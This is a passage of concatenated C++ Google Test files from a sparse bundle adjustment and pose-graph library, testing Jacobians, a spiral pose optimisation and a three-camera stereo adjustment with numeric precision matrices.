* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// test fixture for Sparse Pose Adjustment
#include <iostream>
using namespace std;
// Bring in my package's API, which is what I'm testing
#include "sba/sba_setup.h"
// Bring in gtest
#include <gtest/gtest.h>
using namespace Eigen;
using namespace sba;
//
// tolerance for floating-point tests
//
double tol = 1e-5;
#define EXPECT_EQ_TOL(a,b) { if (fabs((a)-(b)) > max(fabs(a),fabs(b))*tol) EXPECT_DOUBLE_EQ(a,b); }
#define EXPECT_EQ_ABS(a,b,t) { if (fabs((a)-(b)) > (t)) EXPECT_DOUBLE_EQ(a,b); }
static Eigen::Matrix<double,6,6> n2prec, n2vprec, n2aprec, n2bprec, diagprec;
void initPrecs()
{
// set up some precision matrices
n2prec << 260312.1329351594, 17615.81091248868, -11716.3738046826,
-260221.3577238563, 3028947.570775249, 284048.6838048229,
17615.81091248783, 369156.349498884, -8122.584888439054,
-4130281.103526653, 265383.1196958761, 523737.7444220608,
-11716.3738046842, -8122.58488844048, 673.3469031685361,
93635.22686723019, -137533.0434459766, -22834.5012408561,
-260221.3577238639, -4130281.103526646, 93635.22686720481,
52493931.52684124, -4078689.933502881, -9475682.025736494,
3028947.570775286, 265383.119695912, -137533.0434459558,
-4078689.933502988, 39416288.19312727, 3894322.443643413,
284048.6838048277, 523737.7444220638, -22834.50124085596,
-9475682.025736755, 3894322.443643621, 50690679.29036696;
n2vprec << 624875.2423563644,-8.596260869004408e-11,10576.14746839753,
-65704.86829639168,10646337.23355757,646569.8439109828,
-1.045228848835824e-10,-2.955857780762017e-10,9.820269042393193e-10,
6.912159733474255e-09,-3.751665644813329e-09,-3.511559043545276e-08,
10576.14746839765,7.860307960072532e-10,224224.9112157905,
-233966.3120641535,77714.35666432518,65704.86829639639,
-65704.86829639156,8.021743269637227e-09,-233966.312064158,
7256072.962556601,-1242408.349188809,197719.0360238712,
10646337.23355758,-6.682398634438869e-09,77714.35666432098,
-1242408.349188721,214456943.0273151,11161674.13523376,
646569.8439109783,-3.356490196892992e-08,65704.86829639817,
197719.0360238167,11161674.13523367, 19698666.98402661;
n2aprec << 229528.3846633453, 886.7480854882738, -10039.08940223746, 62445.98594207098, 2715273.460194867, 106542.6230004076,
886.7480854885912, 319242.7032811134, -6397.916315207351, -3608430.146373766, -49269.13482550202, 582748.417531022,
-10039.08940223649, -6397.916315208951, 565.7603057193751, 69152.18264815415, -117569.9760459389, -16259.89068069827,
62445.98594206382, -3608430.146373736, 69152.1826481162, 47244836.25653829, 1303537.745687656, -9808843.224988466,
2715273.46019485, -49269.13482549335, -117569.9760459207, 1303537.745687651, 35830355.245529, 709155.852370202,
106542.623000413, 582748.4175310251, -16259.89068069991, -9808843.224988459, 709155.8523703497, 48304469.04982638;
n2bprec << 148324.039595044, 222.4623044457281, -19531.70697504873, -10192.06466578297, 1631677.485087357, 60190.82294241861,
222.4623044456828, 200041.4398061978, -4054.812572933995, -2258670.079144401, 29578.86052762273, 799843.0721628161,
-19531.70697504886, -4054.812572933865, 2652.99484259674, 46794.05582115334, -215409.6450292048, -24019.87801347017,
-10192.06466578462, -2258670.079144401, 46794.05582115659, 28945336.2353294, -434508.6610355716, -12934377.41525949,
1631677.485087361, 29578.86052762576, -215409.6450292043, -434508.6610355551, 20018126.98420228, 1153711.950184977,
60190.82294241752, 799843.0721628153, -24019.8780134693, -12934377.41525948, 1153711.950184968, 22955884.81085673;
#if 0
// this has zeros for rot-trans interaction
n2prec << 260312.1329351594, 17615.81091248868, -11716.3738046826, 0.0, 0.0, 0.0,
17615.81091248783, 369156.349498884, -8122.584888439054, 0.0, 0.0, 0.0,
-11716.3738046842, -8122.58488844048, 673.3469031685361, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 52493931.52684124, -4078689.933502881, -9475682.025736494,
0.0, 0.0, 0.0, -4078689.933502988, 39416288.19312727, 3894322.443643413,
0.0, 0.0, 0.0, -9475682.025736755, 3894322.443643621, 50690679.29036696;
n2vprec << 624875.2423563644,-8.596260869004408e-11,10576.14746839753,0,0,0,
-1.045228848835824e-10,-2.955857780762017e-10,9.820269042393193e-10,0,0,0,
10576.14746839765,7.860307960072532e-10,224224.9112157905,0,0,0,
0,0,0, 7256072.962556601,-1242408.349188809,197719.0360238712,
0,0,0, -1242408.349188721,214456943.0273151,11161674.13523376,
0,0,0, 197719.0360238167,11161674.13523367, 19698666.98402661;
n2aprec << 229528.3846633453, 886.7480854882738, -10039.08940223746, 0,0,0,
886.7480854885912, 319242.7032811134, -6397.916315207351, 0,0,0,
-10039.08940223649, -6397.916315208951, 565.7603057193751, 0,0,0,
0,0,0, 47244836.25653829, 1303537.745687656, -9808843.224988466,
0,0,0, 1303537.745687651, 35830355.245529, 709155.852370202,
0,0,0, -9808843.224988459, 709155.8523703497, 48304469.04982638;
n2bprec << 148324.039595044, 222.4623044457281, -19531.70697504873, 0,0,0,
222.4623044456828, 200041.4398061978, -4054.812572933995, 0,0,0,
-19531.70697504886, -4054.812572933865, 2652.99484259674, 0,0,0,
0,0,0, 28945336.2353294, -434508.6610355716, -12934377.41525949,
0,0,0, -434508.6610355551, 20018126.98420228, 1153711.950184977,
0,0,0, -12934377.41525948, 1153711.950184968, 22955884.81085673;
#endif
#if 1
n2prec *= 1.0/100000.0;
n2vprec *= 1.0/100000.0;
n2aprec *= 1.0/100000.0;
n2bprec *= 1.0/100000.0;
#endif
diagprec.setIdentity();
diagprec = diagprec*(1000);
diagprec.diagonal().head(3) *= .0001;
}
#if 1
// test the ConScale jacobian functions
TEST(TestJacobians, TestJacScale)
{
Quaternion<double> frq1(AngleAxisd(10*M_PI/180,Vector3d(.2,.3,.4).normalized())); // frame rotation in the world
// Quaternion<double> frq1(AngleAxisd(0*M_PI/180,Vector3d(.2,.3,.4).normalized())); // frame rotation in the world
Vector4d frt1(0.2, -0.4, 1.0, 1.0); // frame position in the world
Quaternion<double> frq2(AngleAxisd(-10*M_PI/180,Vector3d(.4,.3,.1).normalized())); // frame rotation in the world
// Quaternion<double> frq1(AngleAxisd(0*M_PI/180,Vector3d(.2,.3,.4).normalized())); // frame rotation in the world
Vector4d frt2(-0.2, 0.2, 2.0, 1.0); // frame position in the world
// difference of rotations
Quaternion<double> mqp = (frq1.inverse() * frq2).inverse();
// squared norm of distance
double ks = (frt2-frt1).squaredNorm();
Node::initDr();
// set up frame transform
Node nd1;
nd1.qrot = frq1;
nd1.trans = frt1;
nd1.setTransform(); // set up world2node transform
nd1.setDr(true); // local angles
// cout << nd1.dRdx << endl;
Node nd2;
nd2.qrot = frq2.coeffs();
nd2.trans = frt2;
nd2.setTransform(); // set up world2node transform
nd2.setDr(true); // local angles
std::vector<Node, Eigen::aligned_allocator<Node> > nodes;
nodes.push_back(nd1);
nodes.push_back(nd2);
// compare against numeric Jacobians
double dq = 1e-9;
// this tests the setJacobians method of the ConScale class
ConScale con;
con.nd0 = 0;
con.nd1 = 1;
con.ks = ks;
con.setJacobians(nodes); // full Jacobian of 2 frames
Node ndd;
// compare distance, varying translation params
{
Vector4d ti(dq,0,0,0); // incremental x change
ndd.qrot = frq1;
ndd.trans = frt1+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (nd2.trans - ndd.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J0(0));
}
{
Vector4d ti(0,dq,0,0); // incremental x change
ndd.qrot = frq1;
ndd.trans = frt1+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (nd2.trans - ndd.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J0(1));
}
{
Vector4d ti(0,0,dq,0); // incremental x change
ndd.qrot = frq1;
ndd.trans = frt1+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (nd2.trans - ndd.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J0(2));
}
{
Vector4d ti(dq,0,0,0); // incremental x change
ndd.qrot = frq2;
ndd.trans = frt2+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (ndd.trans - nd1.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J1(0));
}
{
Vector4d ti(0,dq,0,0); // incremental x change
ndd.qrot = frq2;
ndd.trans = frt2+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (ndd.trans - nd1.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J1(1));
}
{
Vector4d ti(0,0,dq,0); // incremental x change
ndd.qrot = frq2;
ndd.trans = frt2+ti;
ndd.setTransform(); // set up world2node transform
double pc1 = (nd2.trans - nd1.trans).squaredNorm() - ks;
double pc2 = (ndd.trans - nd1.trans).squaredNorm() - ks;
double pc = pc2 - pc1;
pc = pc/dq;
EXPECT_EQ_TOL(pc,con.J1(2));
}
}
// test ConScale in a simple setup
TEST(TestMono, TestMonoLocalScale)
{
SysSPA spa;
Node::initDr(); // set up fixed jacobians
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
double kfrad = kfang*M_PI/180.0;
spa.nFixed = 3; // three fixed frames
spa_spiral_setup(spa, true, cps,
#if 1
n2prec, n2vprec, n2aprec, n2bprec, // rank-deficient
#else
diagprec, diagprec, diagprec, diagprec,
#endif
kfang, M_PI/2.0-3*kfrad, 220*kfang/360.0, // angle per node, init angle, total nodes
0.02, 2.0, 0.01, 0.0, 0.0); // node noise (m,deg), scale noise (increment)
cout << "[SPA Spiral] Initial cost is " << spa.calcCost() << endl;
cout << "[SPA Spiral] Number of constraints is " << spa.p2cons.size() << endl;
#if 1
// write out pose results and originals
cout << "[SPAsys] Writing pose file" << endl;
ofstream ofs3("P400.init.txt");
for (int i=0; i<(int)cps.size(); ++i)
{
Vector3d tpn = spa.nodes[i].trans.head(3);
ofs3 << tpn.transpose() << endl;
}
ofs3.close();
#endif
// add in distance constraint
// works with either n0 -> ni or ni -> ni+1 constraints
#if 0
ConScale con;
con.w = 0.1; // weight
for (int i=0; i<(int)cps.size()-3; ++i)
{
spa.scales.push_back(1.0);
con.nd0 = i; // first node
con.nd1 = i+1; // second node
con.sv = i; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+1; // first node
con.nd1 = i+2; // second node
con.sv = i; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+2; // first node
con.nd1 = i+3; // second node
con.sv = i; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i; // first node
con.nd1 = i+3; // second node
con.sv = i; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
#if 0 // doesn't seem to help...
if (i>2)
{
con.nd0 = i-3; // first node
con.nd1 = i+1; // second node
con.sv = 0; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
#endif
#if 0
if (i>72)
{
con.nd1 = i;
con.nd0 = i-72;
con.sv = 0;
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
#endif
}
#endif
// add in cross-link distance constraint
// not much effect here...
#if 0
ConScale con;
con.w = 0.1; // weight
for (int i=72; i<(int)cps.size()-3; ++i)
{
spa.scales.push_back(1.0);
con.nd0 = i; // first node
con.nd1 = i-2; // second node
con.sv = i-72; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i-72;
con.nd1 = i;
con.sv = i-72;
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
#endif
// this adds in a global constraint connecting the two sides
#if 1
{
ConP2 con;
con.ndr = 0;
con.nd1 = 36;
Node nd0 = spa.nodes[con.ndr];
Node nd1 = spa.nodes[con.nd1];
Vector4d trans;
trans.head(3) = cps[con.nd1].head(3);
trans(3) = 1.0;
con.prec = 1000*diagprec;
con.tmean = nd0.w2n * trans; // translation offset
Quaternion<double> q0,q1,qm;
q0 = nd0.qrot;
q1 = nd1.qrot;
con.qpmean = (q0.inverse()*q1).inverse();
spa.p2cons.push_back(con);
}
#endif
{
// test results
double sqerr = 0.0;
double asqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
Quaternion<double> qr;
qr.vec() = cp.block<3,1>(3,0);
qr.w() = sqrt(1.0 - qr.vec().squaredNorm());
Quaternion<double> qn;
qn = spa.nodes[i].qrot;
double da = qr.angularDistance(qn);
asqerr += da;
}
sqerr = sqerr / (double)(cps.size());
asqerr = asqerr / (double)(cps.size());
printf("\n[TestSPA] RMSE pos is %0.3f m, angle is %0.3f deg\n",
sqrt(sqerr), sqrt(asqerr));
}
long long t0, t1;
t0 = utime();
int niters = spa.doSPA(10);
t1 = utime();
printf("[TestSPA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSPA] Accepted iterations: %d\n", niters);
cout << "[SPA Spiral] Final cost is " << spa.calcCost() << endl;
#if 0
// write out A matrix
spa.setupSys(0.0);
cout << "[SPAsys] Writing file" << endl;
spa.writeSparseA("A400mono.txt");
#endif
#if 1
// write out pose results and originals
cout << "[SPAsys] Writing pose file" << endl;
ofstream ofs1("P400.ground.txt");
ofstream ofs2("P400.optim.txt");
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
ofs1 << tp.transpose() << endl;
ofs2 << tpn.transpose() << endl;
}
ofs1.close();
ofs2.close();
#endif
// test results
double sqerr = 0.0;
double asqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
Quaternion<double> qr;
qr.vec() = cp.block<3,1>(3,0);
qr.w() = sqrt(1.0 - qr.vec().squaredNorm());
Quaternion<double> qn;
qn = spa.nodes[i].qrot;
double da = qr.angularDistance(qn);
asqerr += da;
}
sqerr = sqerr / (double)(cps.size());
asqerr = asqerr / (double)(cps.size());
printf("\n[TestSPA] RMSE pos is %0.3f m, angle is %0.3f deg\n",
sqrt(sqerr), sqrt(asqerr));
EXPECT_EQ_ABS(sqerr,0.0,500e-3); // should be within 500mm
EXPECT_EQ_ABS(asqerr,0.0,0.3); // should be within .3 deg
}
#endif
// Run all the tests that were declared with TEST()
int main(int argc, char **argv){
initPrecs();
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// test fixture
// Bring in my package's API, which is what I'm testing
#include "sba/sba.h"
#include "sba/sba_file_io.h"
// Bring in gtest
#include <gtest/gtest.h>
using namespace Eigen;
using namespace sba;
using namespace frame_common;
#include <iostream>
#include <fstream>
using namespace std;
#define LOCAL_ANGLES
#define WRITE_GRAPH
//
// tolerance for floating-point tests
//
double tol = 1e-4;
#define EXPECT_EQ_TOL(a,b) { if (fabs((a)-(b)) > max(fabs(a),fabs(b))*tol) EXPECT_DOUBLE_EQ(a,b); }
#define EXPECT_EQ_ABS(a,b,t) { if (fabs((a)-(b)) > (t)) EXPECT_DOUBLE_EQ(a,b); }
// test the transform functions
TEST(SBAtest, SimpleSystem)
{
// set up full system
SysSBA sys;
// set of world points
// each row is a point
Matrix<double,23,4> pts;
pts << 0.5, 0.2, 3, 1.0,
1, 0, 2, 1.0,
-1, 0, 2, 1.0,
0, 0.2, 3, 1.0,
1, 1, 2, 1.0,
-1, -1, 2, 1.0,
1, 0.2, 4, 1.0,
0, 1, 2.5, 1.0,
0, -1, 2.5, 1.0,
0.2, 0, 3, 1.0,
-1, 1, 2.5, 1.0,
1, -1, 2.5, 1.0,
0.5, 0.2, 4, 1.0,
0.2, -1.3, 2.5, 1.0,
-0.5, -1, 2.5, 1.0,
0.2, -0.7, 3, 1.0,
-1, 1, 3.5, 1.0,
1, -1, 3.5, 1.0,
0.5, 0.2, 4.6, 1.0,
-1, 0, 4, 1.0,
0, 0, 4, 1.0,
1, 1, 4, 1.0,
-1, -1, 4, 1.0;
for (int i=0; i<pts.rows(); ++i)
{
Point pt(pts.row(i));
sys.addPoint(pt);
}
Node::initDr(); // set up fixed matrices
// set of nodes
// three nodes, one at origin, two displaced
CamParams cpars = {300,300,320,240,0.1}; // 300 pix focal length, 0.1 m baseline
Quaternion<double> frq2(AngleAxisd(10*M_PI/180,Vector3d(.2,.3,.4).normalized())); // frame rotation in the world
Vector4d frt2(0.2, -0.4, 1.0, 1.0); // frame position in the world
Quaternion<double> frq3(AngleAxisd(10*M_PI/180,Vector3d(-.2,.1,-.3).normalized())); // frame rotation in the world
Vector4d frt3(-0.2, 0.4, 1.0, 1.0); // frame position in the world
Vector3d b(cpars.tx,0,0);
// set up nodes
Node nd1;
Vector4d qr(0,0,0,1);
nd1.qrot = qr; // no rotation
nd1.trans = Vector4d::Zero(); // or translation
nd1.setTransform(); // set up world2node transform
nd1.setKcam(cpars); // set up node2image projection
#ifdef LOCAL_ANGLES
nd1.setDr(true); // set rotational derivatives
#else
nd1.setDr(false); // set rotational derivatives
#endif
nd1.isFixed = true;
Node nd2;
nd2.qrot = frq2;
cout << "Quaternion: " << nd2.qrot.coeffs().transpose() << endl;
nd2.trans = frt2;
cout << "Translation: " << nd2.trans.transpose() << endl << endl;
nd2.setTransform(); // set up world2node transform
nd2.setKcam(cpars); // set up node2image projection
#ifdef LOCAL_ANGLES
nd2.setDr(true); // set rotational derivatives
#else
nd2.setDr(false); // set rotational derivatives
#endif
nd2.isFixed = false;
Node nd3;
nd3.qrot = frq3;
cout << "Quaternion: " << nd3.qrot.coeffs().transpose() << endl;
nd3.trans = frt3;
cout << "Translation: " << nd3.trans.transpose() << endl << endl;
nd3.setTransform(); // set up world2node transform
nd3.setKcam(cpars); // set up node2image projection
#ifdef LOCAL_ANGLES
nd3.setDr(true); // set rotational derivatives
#else
nd3.setDr(false); // set rotational derivatives
#endif
nd3.isFixed = false;
sys.nodes.push_back(nd1);
sys.nodes.push_back(nd2);
sys.nodes.push_back(nd3);
// set up projections onto nodes
int ind = 0;
double inoise = 0.5;
Vector3d n2;
for(unsigned int i = 0; i < sys.tracks.size(); ++i)
{
Point pt = sys.tracks[i].point;
ProjMap &prjs = sys.tracks[i].projections; // new point track
Proj prj;
prj.isValid = true;
prj.stereo = true;
Vector2d ipt;
Vector3d ipt3,pc;
n2.setRandom();
nd1.project2im(ipt,pt); // set up projection measurement
prj.ndi = 0; // nd1 index
ipt3.head(2) = ipt;
pc = nd1.Kcam * (nd1.w2n*pt - b); // camera coords for right cam
ipt3(2) = pc(0)/pc(2);
prj.kp = ipt3 + n2*inoise;
prjs[prjs.size()] = prj;
n2.setRandom();
nd2.project2im(ipt,pt); // set up projection measurement
prj.ndi = 1; // nd2 index
ipt3.head(2) = ipt;
pc = nd2.Kcam * (nd2.w2n*pt - b); // camera coords for right cam
ipt3(2) = pc(0)/pc(2);
prj.kp = ipt3 + n2*inoise;
prjs[prjs.size()] = prj;
n2.setRandom();
nd3.project2im(ipt,pt); // set up projection measurement
prj.ndi = 2; // nd3 index
ipt3.head(2) = ipt;
pc = nd3.Kcam * (nd3.w2n*pt - b); // camera coords for right cam
ipt3(2) = pc(0)/pc(2);
prj.kp = ipt3 + n2*inoise;
prjs[prjs.size()] = prj;
//sys.tracksSt.push_back(prjs);
++ind;
}
#ifdef WRITE_GRAPH
writeGraphFile("sba.graph",sys);
#endif
double qnoise = 10*M_PI/180; // in radians
double tnoise = 0.1; // in meters
// add random noise to node positions
nd2.qrot.coeffs().head<3>() += qnoise*Vector3d::Random();
nd2.normRot();
cout << "Quaternion: " << nd2.qrot.coeffs().transpose() << endl << endl;
nd2.trans.head<3>() += tnoise*Vector3d::Random();
nd2.setTransform(); // set up world2node transform
nd2.setProjection();
#ifdef LOCAL_ANGLES
nd2.setDr(true); // set rotational derivatives
#else
nd2.setDr(false); // set rotational derivatives
#endif
sys.nodes[1] = nd2; // reset node
nd3.qrot.coeffs().head<3>() += qnoise*Vector3d::Random();
nd3.normRot();
// cout << "Quaternion: " << nd3.qrot.transpose() << endl << endl;
nd3.trans.head<3>() += tnoise*Vector3d::Random();
nd3.setTransform(); // set up world2node transform
nd3.setProjection(); // set up node2image projection
#ifdef LOCAL_ANGLES
nd3.setDr(true); // set rotational derivatives
#else
nd3.setDr(false); // set rotational derivatives
#endif
sys.nodes[2] = nd3; // reset node
#ifdef WRITE_GRAPH
writeGraphFile("sba-with-err.graph",sys);
#endif
#if 0
// set up system, no lambda for here
sys.setupSys(0.0);
ofstream(fd);
fd.open("A.txt");
fd.precision(8); // this is truly inane
fd << fixed;
fd << sys.A << endl;
fd.close();
fd.open("B.txt");
fd.precision(8);
fd << fixed;
fd << sys.B << endl;
fd.close();
#endif
#ifndef LOCAL_ANGLES
sys.useLocalAngles = false;
#endif
sys.nFixed = 1; // number of fixed cameras
sys.doSBA(10,1.0e-3,false);
cout << endl << "Quaternion: " << sys.nodes[1].qrot.coeffs().transpose() << endl;
// normalize output translation
Vector4d frt2a = sys.nodes[1].trans;
double s = frt2.head<3>().norm() / frt2a.head<3>().norm();
frt2a.head<3>() *= s;
cout << "Translation: " << frt2a.transpose() << endl << endl;
cout << "Quaternion: " << sys.nodes[2].qrot.coeffs().transpose() << endl;
Vector4d frt3a = sys.nodes[2].trans;
s = frt3.head<3>().norm() / frt3a.head<3>().norm();
frt3a.head<3>() *= s;
cout << "Translation: " << frt3a.transpose() << endl << endl;
// calculate cost, should be close to zero
double cost = 0.0;
EXPECT_EQ_ABS(cost,0.0,10.0);
// cameras should be close to their original positions,
// adjusted for scale on translations
for (int i=0; i<4; ++i)
EXPECT_EQ_ABS(sys.nodes[1].qrot.coeffs()[i],frq2.coeffs()[i],0.01);
for (int i=0; i<4; ++i)
EXPECT_EQ_ABS(sys.nodes[2].qrot.coeffs()[i],frq3.coeffs()[i],0.01);
for (int i=0; i<3; ++i)
EXPECT_EQ_ABS(frt2a(i),frt2(i),0.01);
for (int i=0; i<3; ++i)
EXPECT_EQ_ABS(frt3a(i),frt3(i),0.01);
#if 1
// writing out matrices, 3-node system
// global system
sys.useLocalAngles = false;
nd1.setDr(false);
nd2.setDr(false);
nd3.setDr(false);
sys.setupSys(0.0);
sys.A.block<6,6>(6,0) = sys.A.block<6,6>(0,6).transpose();
writeA("A3g.txt",sys);
// local system
sys.useLocalAngles = true;
nd1.setDr(true);
nd2.setDr(true);
nd3.setDr(true);
sys.setupSys(0.0);
sys.A.block<6,6>(6,0) = sys.A.block<6,6>(0,6).transpose();
writeA("A3l.txt",sys);
#endif
#if 0
// set up 2-node system
sys.nodes.clear();
sys.tracks.clear();
sys.nodes.push_back(nd1);
sys.nodes.push_back(nd2);
// set up projections onto nodes
ind = 0;
for(vector<Point,Eigen::aligned_allocator<Point> >::iterator itr = sys.points.begin(); itr!=sys.points.end(); ++itr)
{
Point pt = *itr;
vector<Proj,Eigen::aligned_allocator<Proj> > prjs; // new point track
Proj prj;
prj.isValid = true;
prj.pti = ind;
prj.kpi = ind;
Vector2d ipt;
n2.setRandom();
nd1.project2im(ipt,pt); // set up projection measurement
prj.ndi = 0; // nd1 index
prj.kp = ipt + n2*inoise;
prjs.push_back(prj);
n2.setRandom();
nd2.project2im(ipt,pt); // set up projection measurement
prj.ndi = 1; // nd2 index
prj.kp = ipt + n2*inoise;
prjs.push_back(prj);
sys.tracks.push_back(prjs);
++ind;
}
sys.doSBA(3);
// writing out matrices, 2-node system
// global system
sys.useLocalAngles = false;
nd1.setDr(false);
nd2.setDr(false);
sys.setupSys(0.0);
sys.writeA("A2g.txt");
// local system
sys.useLocalAngles = true;
nd1.setDr(true);
nd2.setDr(true);
sys.setupSys(0.0);
sys.writeA("A2l.txt");
#endif
}
// Run all the tests that were declared with TEST()
int main(int argc, char **argv){
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
